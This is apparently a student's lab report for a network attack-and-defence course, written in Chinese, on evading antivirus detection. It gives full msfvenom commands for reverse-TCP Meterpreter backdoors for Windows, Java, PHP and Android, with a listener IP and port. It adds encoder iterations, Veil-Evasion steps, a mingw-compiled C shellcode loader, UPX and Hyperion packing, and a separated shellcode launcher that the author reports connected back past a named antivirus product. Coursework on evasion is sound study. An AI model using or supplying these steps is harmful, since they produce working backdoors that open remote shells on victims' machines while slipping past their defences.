杀毒软件一般通过一下几种方式检测恶意代码:
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
1.改变特征码:
2.改变行为
3.非常规方法
前言:因为截图过大,贴进博客里很不美观,因此简单调了下分辨率,结果有点糊。。。
这里贴个图证明下图片来源
实验二中已经生成了后门程序,我们现在可以直接在VirusTotal和Virscan这两个网站对生成的后门程序进行扫描(注意??:Virscan扫描的文件名不能包含数字,因此要提前修改)。
VirusTotal扫描结果如下:
Virscan扫描结果如下:
从扫描结果可以看出,我们不加任何处理的后门程序大多数杀软都可以检测得到,因此我们用msf编码器对后门程序进行一次到多次的编码,查看编码后的检测效果。
(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.242.133 LPORT=5308 -f exe > met-encoded.exe
进行一次编码。
-e
选择编码器-b
payload中需要去掉的字符,因为shellcode以‘\x00‘为结束符,所以用此命令使‘\x00‘不出现在shellcode中编码后的扫描结果如下:
(2)使用-i
设置迭代次数,进行十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.242.133 LPORT=5308 -f exe > met-encoded10.exe
十次编码后的扫描结果如下:
由这个检测结果可见即使进行了十次编码,对于抵抗杀软检测依然没有起到什么积极的作用,原因有以下几点:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 x> yy_backdoor_java.jar
生成java后门程序msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 x> 20175308_php_backdoor.php
可以看到检出率为3/59,已经处于一个较低的水平
使用命令msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 x> 20175308_android_backdoor.apk
可以生成apk后门文件
扫描结果如下:
这部分的小问题很多,一开始走了许多弯路,参考了许多教程都不适用于我的虚拟机,过程过于心酸,不再描述。这里写出最后成功下载的方法。
这里我使用的是中科大的源。
首先进行一下操作安装软件:
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update
安装veil:sudo apt-get install veil-evasion
在这个安装过程中还会出现满屏红色字体,看起来像是提示错误,但实测安装结束后是不会出现问题的。
输入use 1
进入veil-evasion
输入list
列出所有可生成的后门程序
这里我尝试使用powershell
的后门,即输入命令use powershell/meterpreter/rev_tcp.py
输入set LHOST 192.168.242.133
设置反弹连接IP(即kali的ip)
输入set LPORT 5308
设置端口为5308
输入options
可以查看设置
输入generate
、设置文件名字即可生成该后门文件
扫瞄结果如下:
首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 -f c
生成一段shellcode
复制这段shellcode,新建C程序20175308.c
如下:
使用命令i686-w64-mingw32-g++ 20175308.c -o 20175308.exe
将c程序编译为可执行文件
将这个可执行文件放到virustotal上进行扫描
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
从技术上壳分为:
直接对上一个任务中生成的exe加壳,使用命令upx 20175308.exe -o upxed_20175308.exe
这个壳是360可以扫出来的
将上一个生成的文件拷贝至/usr/share/windows-binaries/hyperion
,并进入该目录
输入命令wine hyperion.exe -v upxed_20175308.exe upxed_20175308_hyperion.exe
对生成的文件进行扫描。
360查杀成功
经过漫长时间的资料搜集,我找到了一种分离免杀的方式,即将shellcode和加载器分离。但由于相关网络政策,加载器的写法被屏蔽了,但是通过参考其他同学的博客,找到了一个现成的加载器
shellcode_launcher
用msf生成shellcode,命令使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.242.133 LPORT=5308 -f raw > 5308.raw
。这个是杀软杀不出来的。
win7中用shellcode_launcher启动raw文件
可以回连成功
通过使用半手工shellcode结合加密壳、压缩壳实现免杀。
与杀软共生截图如下:
杀软名称:腾讯电脑管家
版本:13.6
可以说,这是一个有趣但细想想蛮可怕的实验。实验二的时候开始做后门的时候尚且还要躲开杀软的存在,实验三的时候就直接要做和杀软正面对线的后门了,并且如果电脑使用的杀软检测能力不是很强的话甚至我做的粗制滥造的后门也可以回连成功。虽然现在完成的后门还有诸多限制条件,但是一样一样学习解决后能够达到什么样的效果呢?有点小期待。
答案肯定是不能。在virustotal上检测我们看到一个后门拿过去检测率有可能只达到10/59,而且在检查不出来的名单里不乏我们经常使用的杀软。因此即使有杀软,也很有可能在面对精心设计手法高明的后门程序时无能为力。
2019-2020-2 20175308杨元 《网络对抗技术》Exp3 免杀原理与实践
原文:https://www.cnblogs.com/darklord0604/p/12615337.html